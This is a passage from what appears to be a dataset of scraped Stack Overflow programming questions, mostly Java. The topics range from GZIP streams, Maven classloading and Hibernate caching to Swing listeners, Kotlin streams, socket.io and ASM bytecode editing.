//commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698541142.66/wet/CC-MAIN-20161202170901-00500-ip-10-31-129-80.ec2.internal.warc.wet.gz '' ) ; /* * Test the URLs and display the results */ test ( url0 , `` testfile0.wet '' ) ; System.out.println ( `` -- -- -- '' ) ; test ( url40 , `` testfile40.wet '' ) ; System.out.println ( `` -- -- -- '' ) ; test ( url500 , `` testfile500.wet '' ) ; } public static void test ( URL url , String testGZFileName ) throws Exception { System.out.println ( `` Testing URL `` +url.toString ( ) ) ; // First directly wrap the HTTPInputStream with GZIPInputStream // and count the number of bytes we read // Go ahead and save the extracted stream to a file for further inspection System.out.println ( `` Testing HTTP Input Stream direct to GZIPInputStream '' ) ; int bytesFromGZIPDirect = 0 ; URLConnection urlConnection = url.openConnection ( ) ; FileOutputStream directGZIPOutStream = new FileOutputStream ( `` ./ '' +testGZFileName ) ; // FIRST TEST - Decompress from HTTPInputStream GZIPInputStream gzipishttp = new GZIPInputStream ( urlConnection.getInputStream ( ) ) ; byte [ ] buffer = new byte [ 1024 ] ; int bytesRead = -1 ; while ( ( bytesRead = gzipishttp.read ( buffer , 0 , 1024 ) ) ! = -1 ) { bytesFromGZIPDirect += bytesRead ; directGZIPOutStream.write ( buffer , 0 , bytesRead ) ; // save to file for further inspection } gzipishttp.close ( ) ; directGZIPOutStream.close ( ) ; // Now save the GZIPed file locally System.out.println ( `` Testing saving to file before decompression '' ) ; int bytesFromGZIPFile = 0 ; ReadableByteChannel rbc = Channels.newChannel ( url.openStream ( ) ) ; FileOutputStream outputStream = new FileOutputStream ( `` ./test.wet.gz '' ) ; outputStream.getChannel ( ) .transferFrom ( rbc , 0 , Long.MAX_VALUE ) ; outputStream.close ( ) ; // SECOND TEST - decompress from FileInputStream GZIPInputStream gzipis = new GZIPInputStream ( new FileInputStream ( `` ./test.wet.gz '' ) ) ; buffer = new byte [ 1024 ] ; bytesRead = -1 ; while ( ( bytesRead = gzipis.read ( buffer , 0 , 1024 ) ) ! = -1 ) { bytesFromGZIPFile += bytesRead ; } gzipis.close ( ) ; // The Results - these numbers should match but they do n't System.out.println ( `` Read `` +bytesFromGZIPDirect+ '' bytes from HTTP- > GZIP '' ) ; System.out.println ( `` Read `` +bytesFromGZIPFile+ '' bytes from HTTP- > file- > GZIP '' ) ; System.out.println ( `` Output from HTTP- > GZIP saved to file `` +testGZFileName ) ; } } // Original file from CommonCrawl hosted on S3URL originals3 = new URL ( `` https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gz '' ) ; // Recompressed file hosted on S3URL rezippeds3 = new URL ( `` https : //s3-us-west-1.amazonaws.com/com.jeffharwell.commoncrawl.gziptestbucket/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gz '' ) ; test ( originals3 , `` originalhost.txt '' ) ; test ( rezippeds3 , `` rezippedhost.txt '' ) ; Testing URL https : //commoncrawl.s3.amazonaws.com/crawl-data/CC-MAIN-2016-50/segments/1480698540409.8/wet/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gzTesting HTTP Input Stream direct to GZIPInputStreamTesting saving to file before decompressionRead 7212400 bytes from HTTP- > GZIPRead 448974935 bytes from HTTP- > file- > GZIPOutput from HTTP- > GZIP saved to file originals3.txt -- -- -Testing URL https : //s3-us-west-1.amazonaws.com/com.jeffharwell.commoncrawl.gziptestbucket/CC-MAIN-20161202170900-00009-ip-10-31-129-80.ec2.internal.warc.wet.gzTesting HTTP Input Stream direct to GZIPInputStreamTesting saving to file before decompressionRead 448974935 bytes from HTTP- > GZIPRead 448974935 bytes from HTTP- > file- > GZIPOutput from HTTP- > GZIP saved to file rezippeds3.txt",GZIPInputStream closes prematurely when decompressing HTTPInputStream +Java,"I have two questions : Why does s1 and s2 point to the same object , whereas s1 and s3 does n't ? ( There is no usage of new keyword ) .If I get a string from the user and add to the above code these lines : If the user enters xyz the program will print Not equal , when the user enters another thing the program outputs Equal . Does this mean that the pool changes through the execution of the whole program ? Does the optimizer works at the compile time and continues to work in the runtime ?",public static void main ( String [ ] args ) { String s1 = `` bla '' ; String s2 = `` b '' + '' l '' + `` a '' ; String s3 = `` b '' .concat ( `` l '' ) .concat ( `` a '' ) ; if ( s1 == s2 ) System.out.println ( `` Equal '' ) ; else System.out.println ( `` Not equal '' ) ; if ( s1 == s3 ) System.out.println ( `` Equal '' ) ; else System.out.println ( `` Not equal '' ) ; } BufferedReader in=new BufferedReader ( new InputStreamReader ( System.in ) ) ; String name=in.readLine ( ) ; if ( name.equals ( `` test '' ) ) s1 = s1 + `` xyz '' ;,When does the pool change ? +Java,"I am stuck with the following Maven problem.Basically , I have two projects . Project A is a Maven plugin and project B is using it.Project A pom.xml : Project B pom.xml : When executing mvn demo : demo on project B , the mojo starts executing but then I get the following error : The core message of the error is : The log and stacktrace also include : andIt boils down to org.slf4j.event.Level not being found on the classpath which is strange because it is in slf4j-api which is both an explicit and a transitive ( via slf4j-core ) dependency in the plugin.However , for some reason it is not included in the class realm : slf4j-simple is in the list , slf4j-api is not.A few lines earlier : Here , both slf4j-simple and slf4j-api are included.The problem only occurs when I explicitly use the affected class org.slf4j.event.Level in my plugin code . If I remove any explicit usage of it everything works fine.I 'm using Maven 3.5.2 and Java 11.I do n't know if this is a problem with SLF4J or a more general problem with Maven or just an unlucky combination of events.What I 've tried : deleted and re-populated my Maven repo ( to rule out corrupted JAR files ) tried different versions of SLF4Jexplicitly added slf4j-api under < pluginDepdendencies > used Java 8 ( instead of 11 ) UPDATEI 've created a demo project to reproduce this error : https : //github.com/martinschneider/stackoverflow_53757567","< project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > io.github.martinschneider < /groupId > < artifactId > demo-maven-plugin < /artifactId > < version > 0.0.1-SNAPSHOT < /version > < packaging > maven-plugin < /packaging > < properties > < maven.compiler.source > 1.8 < /maven.compiler.source > < maven.compiler.target > 1.8 < /maven.compiler.target > < /properties > < dependencies > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-api < /artifactId > < version > 1.7.25 < /version > < /dependency > < dependency > < groupId > org.slf4j < /groupId > < artifactId > slf4j-simple < /artifactId > < version > 1.7.25 < /version > < /dependency > < dependency > < groupId > org.apache.maven < /groupId > < artifactId > maven-plugin-api < /artifactId > < version > 3.6.0 < /version > < /dependency > < dependency > < groupId > org.apache.maven.plugin-tools < /groupId > < artifactId > maven-plugin-annotations < /artifactId > < version > 3.6.0 < /version > < scope > provided < /scope > < /dependency > < /dependencies > < /project > < project xmlns= '' http : //maven.apache.org/POM/4.0.0 '' xmlns : xsi= '' http : //www.w3.org/2001/XMLSchema-instance '' xsi : schemaLocation= '' http : //maven.apache.org/POM/4.0.0 http : //maven.apache.org/xsd/maven-4.0.0.xsd '' > < modelVersion > 4.0.0 < /modelVersion > < groupId > io.github.martinschneider < /groupId > < artifactId > demo-project < /artifactId > < version > 0.0.1-SNAPSHOT < /version > < build > < plugins > < plugin > < groupId > io.github.martinschneider < /groupId > < artifactId > demo-maven-plugin < /artifactId > < version > 0.0.1-SNAPSHOT < /version > < /plugin > < /plugins > < /build > < /project > [ ERROR ] Failed to execute goal my.group : my-maven-plugin:1.2.3 : some-goal ( default-cli ) on project my-project : Execution default-cli of goal my.group : my-maven-plugin:1.2.3 : some-goal failed : A required class was missing while executing io.github.martinschneider : demo-maven-plugin:0.0.1-SNAPSHOT : demo : org/slf4j/event/Level A required class was missing [ ... ] : org/slf4j/event/Level [ WARNING ] Error injecting : package.SomeMojo java.lang.NoClassDefFoundError : org/slf4j/event/Level Caused by : java.lang.ClassNotFoundException : org.slf4j.event.Levelat org.codehaus.plexus.classworlds.strategy.SelfFirstStrategy.loadClass ( SelfFirstStrategy.java:50 ) at org.codehaus.plexus.classworlds.realm.ClassRealm.unsynchronizedLoadClass ( ClassRealm.java:271 ) at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass ( ClassRealm.java:247 ) at org.codehaus.plexus.classworlds.realm.ClassRealm.loadClass ( ClassRealm.java:239 ) [ DEBUG ] Populating class realm plugin > io.martinschneider.github : demo-maven-plugin:0.0.1-SNAPSHOT [ DEBUG ] Included : io.martinschneider.github : demo-maven-plugin:0.0.1-SNAPSHOT [ DEBUG ] Included : org.slf4j : slf4j-simple : jar:1.7.25 ... [ DEBUG ] Dependency collection stats : { ConflictMarker.analyzeTime=121223 , ConflictMarker.markTime=606293 , ConflictMarker.nodeCount=72 , ConflictIdSorter.graphTime=74295 , ConflictIdSorter.topsortTime=819750 , ConflictIdSorter.conflictIdCount=45 , ConflictIdSorter.conflictIdCycleCount=0 , ConflictResolver.totalTime=1909563 , ConflictResolver.conflictItemCount=70 , DefaultDependencyCollector.collectTime=68369892 , DefaultDependencyCollector.transformTime=3575054 } [ DEBUG ] io.martinschneider.github : demo-maven-plugin : jar:0.0.1-SNAPSHOT : [ DEBUG ] org.slf4j : slf4j-simple : jar:1.7.25 : compile [ DEBUG ] org.slf4j : slf4j-api : jar:1.7.25 : compile ...",Maven plugin compiles fine but ca n't find class during execution +Java,"I 'm using Scala implicits to define a rich wrapper for a Java interface : In the companion object I define the implicit conversion and an apply factory method : With this , I can instantiate a Java implementation of the interface and use it like a RichThing ( due to the implicit conversion ) : I can also create a RichThing using the factory method ( due to the apply method ) : What I 'd like to do is instantiate arbitrary Java implementations of the interface in the same way . This does n't work , as Scala then looks for a companion object of the implementation and ca n't find one : I could create a Scala companion object for the Java implementation : But the point would be to make this work for any ( in particular unknown ) implementation of the interface . Is there any way to realize this ? For instance , to create Scala companion objects for the Java implementations on the fly , based on the implicit conversion in the RichThing object ? Or to create the Scala companion object from the Java side , maybe in an abstract class ?",class RichThing { def richStuff : Unit = { } } object RichThing { implicit def rich ( thing : JavaThing ) = new RichThing ( ) def apply ( ) = new RichThing ( ) } new JavaThingImpl ( ) .richStuff val a = RichThing ( ) val b = JavaThingImpl ( ) // `` not found : value JavaThingImpl '' object JavaThingImpl { def apply ( ) = new RichThing ( ) },Factory methods for implementations of Java interfaces wrapped with Scala implicits ? +Java,"I 'm trying to use Clojure to dynamically generate functions that can be applied to large volumes of data - i.e . a requirement is that the functions be compiled to bytecode in order to execute fast , but their specification is not known until run time.e.g . suppose I specify functions with a simple DSL like : I would like to create a function compile-spec such that : Would return a compiled function of one parameter x that returns 2x+3.What is the best way to do this in Clojure ?",( def my-spec [ : add [ : multiply 2 : param0 ] 3 ] ) ( compile-spec my-spec ),Dynamically generating high performance functions in clojure +Java,"In the following code , the constructor of Child has reduced visibility from public to private , which is allowed . The inherited methods , such as test ( ) , can not have reduced visibility . Why does Java operate this way ?",class Parent { public Parent ( ) { } public void test ( ) { System.out.print ( `` parent test executed ! `` ) ; } } class Child extends Parent { private Child ( ) { } private void test ( ) { System.out.print ( `` child test executed ! `` ) ; } },Java inheritance : Reducing visibility in a constructor vs inherited method +Java,"I am trying to find the first two elements in a list that meet a condition ( filtering ) , for that purpose I have implemented the following piece of code in kotlin : Everything was fine until I realized it filters through the whole list , no matter if the two elements have been found.Making use of Java 8 stream api , it works as expected.So my questions is if it can be achieved using only Kotlin functions.I know I could use a simple for loop but I want to use a functional programming aproach .",val arr = 0 until 20val res = arr.filter { i - > println ( `` Filter : $ i '' ) i % 2 == 0 } .take ( 2 ) val res2 = arr.toList ( ) .stream ( ) .filter { i - > println ( `` Filter : $ i '' ) i % 2 == 0 } .limit ( 2 ),Is there any equivalent Kotlin function to Java 8 Stream limit function +Java,"I have an application with an abstract class that extends JDialog . The class as an abstract void onClose ( ) , and , in the class 's constructor , the following code is added : The event is fired when expected , but then a strange thing happens . When a concrete extension of this class has code to create a new JDialog in the onClose ( ) method , and this JDialog 's defaultCloseOperation is JDialog.DISPOSE_ON_CLOSE , the event is fired continuously , until I force quit the operation.I have isolated the code to the following SSCCE : Upon clicking the `` click me '' button , the blank JDialog appears and SSCCE.SSCCE ( ) .new WindowAdapter ( ) { ... } .windowClosed ( ) appears in the console window . When I close the blank dialog , it reappears again and the text appears again.Another really interesting thing is that when I change the initialization line fromtoI get the following output in the console : When clicking the `` click me '' button : At the first closing of the dialog : At the second closing of the dialog : Each time I close the dialog , addWindowListener ( WindowListener l ) is called an additional time , even though it I am not intentionally calling it.I do n't really want any WindowListeners to be registered on the dialog , but I think that simply overriding the addWindowListener ( ... ) method and not calling super.addWindowListener ( ... ) would be too sloppy.I 'm running Java 1.6.0_31 on Mac OS X 10.6.8 , using Eclipse Indigo ( with WindowBuilder , if it matters ) .Does anyone have any ideas ? Thanks !","addWindowListener ( new WindowAdapter ( ) { @ Override public void windowClosed ( WindowEvent e ) { onClose ( ) ; } } // package removed// imports removedpublic class SSCCE extends JDialog { public static void main ( String [ ] args ) { SSCCE s = new SSCCE ( ) ; s.pack ( ) ; s.setVisible ( true ) ; } public SSCCE ( ) { setLayout ( new GridLayout ( 1 , 0 , 0 , 0 ) ) ; JButton btn = new JButton ( `` click me '' ) ; btn.addActionListener ( new ActionListener ( ) { @ Override public void actionPerformed ( ActionEvent arg0 ) { dispose ( ) ; } } ) ; addWindowListener ( new WindowAdapter ( ) { @ Override public void windowClosed ( WindowEvent e ) { System.out .println ( `` SSCCE.SSCCE ( ) .new WindowAdapter ( ) { ... } .windowClosed ( ) '' ) ; onClose ( ) ; } } ) ; add ( btn ) ; } public void onClose ( ) { JDialog dialog = new JDialog ( ) ; dialog.setDefaultCloseOperation ( JDialog.DISPOSE_ON_CLOSE ) ; dialog.setVisible ( true ) ; } } JDialog dialog = new JDialog ( ) ; JDialog dialog = new JDialog ( ) { @ Override public synchronized void addWindowListener ( WindowListener l ) { super.addWindowListener ( l ) ; System.out .println ( `` SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) '' ) ; } } ; SSCCE.SSCCE ( ) .new WindowAdapter ( ) { ... } .windowClosed ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.SSCCE ( ) .new WindowAdapter ( ) { ... } .windowClosed ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.SSCCE ( ) .new WindowAdapter ( ) { ... } .windowClosed ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( ) SSCCE.onClose ( ) .new JDialog ( ) { ... } .addWindowListener ( )","` WindowListener ` acting up , perpetual firing" +Java,Let 's say we have a class : and we have a variable : Does a reference itself stored in a variable ob1 store the information that it refers to an object of Class1 ? Does the part of the heap where Class1 is stored store the information that it is of Class1 type ? How does logically looks like this information ? It 's a string like application1.Class1 or a reference to some reference types pool ? If you can recommend the source of such information I 'll be very grateful for providing it I ca n't find it in the reference book .,class Class1 { int i = 1 ; } Class1 ob1 = new Class1 ( ) ;,logical structure/details of a reference variable and object in the memory ? +Java,"After my queries ( lookups ) get cached session closes , in a new session , hibernate is evicting everything after I change the DB through a random write Sql Query , how can I stop that from happening ? I 'm looking into creating policies for things that rarely change.ecache.xmlspring hibernate configuration","INFO Executing [ namedSqlQuery=dao.web_login , objs= [ user1 ] ] DEBUG org.springframework.orm.hibernate3.SessionFactoryUtils user1- Opening Hibernate Session DEBUG org.hibernate.impl.SessionImpl user1 - opened session at timestamp : 5511432318976000 DEBUG org.hibernate.impl.SessionFactoryImpl user1- evicting second-level cache : USERS_LOOKUP DEBUG org.hibernate.impl.SessionFactoryImpl user1- evicting second-level cache : COUNTRY_LOOKUP < cache name= '' query.oneHourPolicy '' maxElementsInMemory= '' 10000 '' eternal= '' false '' timeToLiveSeconds= '' 3600 '' diskPersistent= '' true '' overflowToDisk= '' true '' / > < prop key= '' hibernate.cache.use_second_level_cache '' > true < /prop > < prop key= '' hibernate.cache.use_query_cache '' > true < /prop > < prop key= '' hibernate.cache.provider_class '' > net.sf.ehcache.hibernate.SingletonEhCacheProvider < /prop > < prop key= '' hibernate.cache.provider_configuration_file_resource_path '' > ehcache.xml < /prop >","ehcache hibernate second level caching , hibernate evicting automatically" +Java,"I have Stream of Stream of Words ( This format is not set by me and can not be changed ) . For exI 'm trying to get this into a structure of Map < String , Multiset < Integer > > ( or its corresponding stream as I want to process this further ) , where the key String is the word itself and the Multiset < Integer > represents the number of that word appearances in each document ( 0 's should be excluded ) . Multiset is a google guava class ( not from java.util . ) .For example : What is a good way to do this in Java 8 ? I tried using a flatMap , but the inner Stream is greatly limiting the options of I have .","Stream < String > doc1 = Stream.of ( `` how '' , `` are '' , `` you '' , `` doing '' , `` doing '' , `` doing '' ) ; Stream < String > doc2 = Stream.of ( `` what '' , `` what '' , `` you '' , `` upto '' ) ; Stream < String > doc3 = Stream.of ( `` how '' , `` are '' , `` what '' , `` how '' ) ; Stream < Stream < String > > docs = Stream.of ( doc1 , doc2 , doc3 ) ; how - > { 1 , 2 } // because it appears once in doc1 , twice in doc3 and none in doc2 ( so doc2 's count should not be included ) are - > { 1 , 1 } // once in doc1 and once in doc3you - > { 1 , 1 } // once in doc1 and once in doc2doing - > { 3 } // thrice in doc3 , none in others what - > { 2,1 } // so onupto - > { 1 }","Extracting Map < K , Multiset < V > > from Stream of Streams in Java 8" +Java,"I 'm trying to develop an application with socket.io . There are 2 devices and when someone touch to screen of device 1 , I need to see a message on device 2 . This is nodeJS server code ( I 'm using SocketIO v0.9 . * because socket.io-java-client is n't supporting version > 1.0.0 ) and my Java code ( click here for whole code ) : So here my question : Both devices connecting to NodeJS server succesfully and when i touch to screen on device I saw `` someoneclicked '' message on server console . But 2nd device is n't not receiving this message and nothing happened on LogCat . How can i solve this problem and communicate these 2 devices with socket.io ?","var app = require ( 'http ' ) .createServer ( ) var io = require ( 'socket.io ' ) .listen ( 1337 ) ; io.on ( 'connection ' , function ( socket ) { socket.on ( 'tiklama ' , function ( data ) { console.log ( data ) ; io.emit ( 'tiklama ' , data ) ; } ) ; } ) ; protected void onCreate ( Bundle savedInstanceState ) { super.onCreate ( savedInstanceState ) ; setContentView ( R.layout.activity_main ) ; final RelativeLayout anapanel = ( RelativeLayout ) findViewById ( R.id.anapanel ) ; final TextView tw = ( TextView ) findViewById ( R.id.textView1 ) ; final TextView tw2 = ( TextView ) findViewById ( R.id.textView2 ) ; final TextView tw4 = ( TextView ) findViewById ( R.id.textView4 ) ; try { socket = new SocketIO ( `` http : //SERVERIPADDRESS:1337 '' ) ; socket.connect ( new IOCallback ( ) { @ Override public void onMessage ( JSONObject json , IOAcknowledge ack ) { try { Log.d ( `` x '' , '' Server said : '' + json.toString ( 2 ) ) ; } catch ( JSONException e ) { e.printStackTrace ( ) ; } } @ Override public void onMessage ( String data , IOAcknowledge ack ) { Log.d ( `` x '' , '' Server said : `` + data ) ; } @ Override public void onError ( SocketIOException socketIOException ) { Log.d ( `` x '' , '' an Error occured '' ) ; socketIOException.printStackTrace ( ) ; } @ Override public void onDisconnect ( ) { Log.d ( `` x '' , '' Connection terminated . `` ) ; } @ Override public void onConnect ( ) { Log.d ( `` x '' , '' Connection established '' ) ; } @ Override public void on ( String event , IOAcknowledge ack , Object ... args ) { Log.d ( `` x '' , '' Server triggered event ' '' + event + `` ' '' ) ; if ( event.contentEquals ( `` tiklama '' ) ) { tw4.setText ( `` Someone touched to device 1 '' ) ; } } } ) ; // This line is cached until the connection is establisched . } catch ( MalformedURLException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } anapanel.setOnTouchListener ( new OnTouchListener ( ) { @ Override public boolean onTouch ( View v , MotionEvent event ) { // TODO Auto-generated method stub if ( event.getAction ( ) == MotionEvent.ACTION_DOWN ) { socket.emit ( `` tiklama '' , `` someoneclicked '' ) ; } return false ; } } ) ; }",Emiting socket.io messages on Android +Java,Why Bar.go is OK with argument f2 but not with argument f1 ? Should n't the compiler automatically infer type T as capture of ? in both cases ?,public class HelloWorld { public static void main ( String [ ] args ) { Foo < Foo < ? > > f1 = new Foo < Foo < ? > > ( ) ; Foo < Foo < String > > f2 = new Foo < Foo < String > > ( ) ; Bar.go ( f1 ) ; // not OK Bar.go ( f2 ) ; // OK } public static void p ( Object o ) { System.out.println ( o ) ; } } class Foo < E > { } class Bar { public static < T > void go ( Foo < Foo < T > > f ) { } },Java wildcard in multi-level generic type +Java,"Intro : I have a ( obfuscated ) METHOD that I printed using ASM and the output was as follows : What I want : I want to REMOVE all the exceptions . For example ( I want to remove ) : which is translated as : if ( var2 ! = 1 ) { throw new IllegalStateException ( ) ; } I do n't plan on running the class but I do plan on it being properly assembled . Meaning that if I remove the exception , there wo n't be any bytecode errors when using the CheckClassAdapter . I do n't need the code to actually work.What I tried : I tried the following which I used to remove the exceptions : and it prints ( successfully removed the first exception that has the following Opcodes ) : ERRORS : However , I get a HUGE exception when I try to save the class : Question : How can I remove the exceptions properly so that I do n't get the above errors ? It seems like a `` Frame '' error/problem but I 'm not sure how to fix it . Any ideas ?","METHOD : m ( ZB ) Lcc ; -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- -- L0 : { ALOAD_0 GETFIELD d/x I LDC 2036719157 IMUL ISTORE GOTO L1 } L2 : { ALOAD_6 ICONST_0 LDC -373364649 ALOAD_0 GETFIELD d/at I IMUL ICONST_0 INVOKEVIRTUAL cc/y ( III ) V GOTO L3 } L4 : { ACONST_NULL ARETURN } L5 : { ILOAD_1 IFEQ L6 LDC -723220973 ALOAD_0 GETFIELD d/an I IMUL ISTORE LDC 1671960653 ALOAD_0 GETFIELD d/ad I IMUL ISTORE GOTO L7 } L8 : { LDC 1955946639 ALOAD_0 GETFIELD d/au I IMUL IFEQ L9 ILOAD_2 ICONST_1 IF_ICMPEQ L10 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L11 : { IINC GOTO L12 } L7 : { LDC 894092883 ALOAD_0 GETFIELD d/ac I IMUL ISTORE GOTO L6 } L13 : { GETSTATIC d/b Lem ; ILOAD_3 ICONST_0 INVOKESTATIC cc/l ( Lem ; II ) Lcc ; ASTORE ILOAD_4 ICONST_M1 IF_ICMPEQ L14 GETSTATIC d/b Lem ; ILOAD_4 ICONST_0 INVOKESTATIC cc/l ( Lem ; II ) Lcc ; ASTORE GOTO L15 } L16 : { ICONST_2 ANEWARRAY DUP ICONST_0 ALOAD_6 AASTORE DUP ICONST_1 ALOAD_7 AASTORE ASTORE GOTO L17 } L18 : { GETSTATIC d/b Lem ; ILOAD_5 ICONST_0 INVOKESTATIC cc/l ( Lem ; II ) Lcc ; ASTORE ICONST_3 ANEWARRAY DUP ICONST_0 ALOAD_6 AASTORE DUP ICONST_1 ALOAD_7 AASTORE DUP ICONST_2 ALOAD_8 AASTORE ASTORE NEW DUP ALOAD_9 ICONST_3 INVOKESPECIAL cc/ < init > ( [ Lcc ; I ) V ASTORE GOTO L14 } L19 : { ALOAD_6 ARETURN } L17 : { NEW DUP ALOAD_8 ICONST_2 INVOKESPECIAL cc/ < init > ( [ Lcc ; I ) V ASTORE } L14 : { ILOAD_1 IFNE L9 ILOAD_2 ICONST_1 IF_ICMPEQ L8 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L15 : { ILOAD_5 ICONST_M1 IF_ICMPEQ L16 ILOAD_2 ICONST_1 IF_ICMPEQ L18 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L20 : { LDC 1642271889 ALOAD_0 GETFIELD d/ay I IMUL ISTORE GOTO L5 } L9 : { ILOAD_1 IFEQ L3 ILOAD_2 ICONST_1 IF_ICMPEQ L21 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L21 : { ICONST_0 LDC -373364649 ALOAD_0 GETFIELD d/at I IMUL IF_ICMPEQ L3 ILOAD_2 ICONST_1 IF_ICMPEQ L2 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L22 : { ICONST_0 ISTORE GOTO L23 } L3 : { ALOAD_0 GETFIELD d/c [ S IFNULL L24 ILOAD_2 ICONST_1 IF_ICMPEQ L25 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L25 : { ICONST_0 ISTORE GOTO L12 } L24 : { ALOAD_0 GETFIELD d/a [ S IFNULL L19 ILOAD_2 ICONST_1 IF_ICMPEQ L22 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L26 : { ALOAD_6 ALOAD_0 GETFIELD d/c [ S ILOAD_7 SALOAD ALOAD_0 GETFIELD d/m [ S ILOAD_7 SALOAD INVOKEVIRTUAL cc/v ( SS ) V GOTO L11 } L12 : { ILOAD_7 ALOAD_0 GETFIELD d/c [ S ARRAYLENGTH IF_ICMPGE L24 GOTO L26 } L1 : { ALOAD_0 GETFIELD d/ar I LDC 608958183 IMUL ISTORE GOTO L20 } L10 : { ALOAD_6 ICONST_0 LDC 1955946639 ALOAD_0 GETFIELD d/au I IMUL ICONST_0 INVOKEVIRTUAL cc/y ( III ) V GOTO L9 } L23 : { ILOAD_7 ALOAD_0 GETFIELD d/a [ S ARRAYLENGTH IF_ICMPGE L19 ILOAD_2 ICONST_1 IF_ICMPEQ L27 NEW DUP INVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) V ATHROW } L27 : { ALOAD_6 ALOAD_0 GETFIELD d/a [ S ILOAD_7 SALOAD ALOAD_0 GETFIELD d/e [ S ILOAD_7 SALOAD INVOKEVIRTUAL cc/s ( SS ) V IINC GOTO L23 } L6 : { ILOAD_3 ICONST_M1 IF_ICMPNE L13 GOTO L4 } L28 : { NEW DUP INVOKESPECIAL java/lang/StringBuilder/ < init > ( ) V LDC `` af.m ( `` INVOKEVIRTUAL java/lang/StringBuilder/append ( Ljava/lang/String ; ) Ljava/lang/StringBuilder ; LDC 41 INVOKEVIRTUAL java/lang/StringBuilder/append ( C ) Ljava/lang/StringBuilder ; INVOKEVIRTUAL java/lang/StringBuilder/toString ( ) Ljava/lang/String ; INVOKESTATIC b/b ( Ljava/lang/Throwable ; Ljava/lang/String ; ) Lcd ; ATHROW } ILOAD_2ICONST_1IF_ICMPEQ L27NEWDUPINVOKESPECIAL java/lang/IllegalStateException/ < init > ( ) VATHROW private void findException ( MethodNode method ) { int i = findExceptionIndex ( method ) ; //returns the first occurrence of the above pattern . while ( i ! = -1 ) { for ( int j = i ; j < i + 7 ; ++j ) { //length of if statement + exception instructions . if ( method.instructions.get ( j ) instanceof MethodInsnNode ) { //if it really is an exception if ( ( ( MethodInsnNode ) method.instructions.get ( j ) ) .owner.contains ( `` Exception '' ) ) { for ( int k = i + 6 ; k ! = i - 1 ; -- k ) { System.out.println ( `` Removing : `` + Printer.OPCODES [ method.instructions.get ( k ) .getOpcode ( ) ] ) ; method.instructions.remove ( method.instructions.get ( k ) ) ; } return ; //I only want to try to remove one first ( before trying to remove all ) } } } i = findNextExceptionIndex ( method , i ) ; } } Removing : ATHROWRemoving : INVOKESPECIALRemoving : DUPRemoving : NEWRemoving : IF_ICMPEQRemoving : ICONST_1Removing : ILOAD jdk.internal.org.objectweb.asm.tree.analysis.AnalyzerException : Error at instruction 41 : Expected I , but found . at jdk.internal.org.objectweb.asm.tree.analysis.Analyzer.analyze ( Analyzer.java:323 ) at jdk.internal.org.objectweb.asm.util.CheckMethodAdapter $ 1.visitEnd ( CheckMethodAdapter.java:479 ) at jdk.internal.org.objectweb.asm.MethodVisitor.visitEnd ( MethodVisitor.java:906 ) at jdk.internal.org.objectweb.asm.util.CheckMethodAdapter.visitEnd ( CheckMethodAdapter.java:1057 ) at jdk.internal.org.objectweb.asm.tree.MethodNode.accept ( MethodNode.java:866 ) at jdk.internal.org.objectweb.asm.tree.MethodNode.accept ( MethodNode.java:755 ) at jdk.internal.org.objectweb.asm.tree.ClassNode.accept ( ClassNode.java:441 ) at com.other.JarParser.saveClass ( JarParser.java:81 ) Caused by : jdk.internal.org.objectweb.asm.tree.analysis.AnalyzerException : Expected I , but found . at jdk.internal.org.objectweb.asm.tree.analysis.BasicVerifier.unaryOperation ( BasicVerifier.java:211 ) at jdk.internal.org.objectweb.asm.tree.analysis.BasicVerifier.unaryOperation ( BasicVerifier.java:76 ) at jdk.internal.org.objectweb.asm.tree.analysis.Frame.execute ( Frame.java:546 ) at jdk.internal.org.objectweb.asm.tree.analysis.Analyzer.analyze ( Analyzer.java:228 ) ... 14 moreException in thread `` main '' java.lang.RuntimeException : Error at instruction 41 : Expected I , but found . m ( ZB ) Lcc ; 00000 R I I . . . . . . . : : L000001 R I I . . . . . . . : : ALOAD 000002 R I I . . . . . . . : R : GETFIELD d.x : I00003 R I I . . . . . . . : I : LDC 203671915700004 R I I . . . . . . . : I I : IMUL00005 R I I . . . . . . . : I : ISTORE 300006 R I I I . . . . . . : : GOTO L100007 R I I I I I R . . . : : L200008 R I I I I I R . . . : : ALOAD 600009 R I I I I I R . . . : R : ICONST_000010 R I I I I 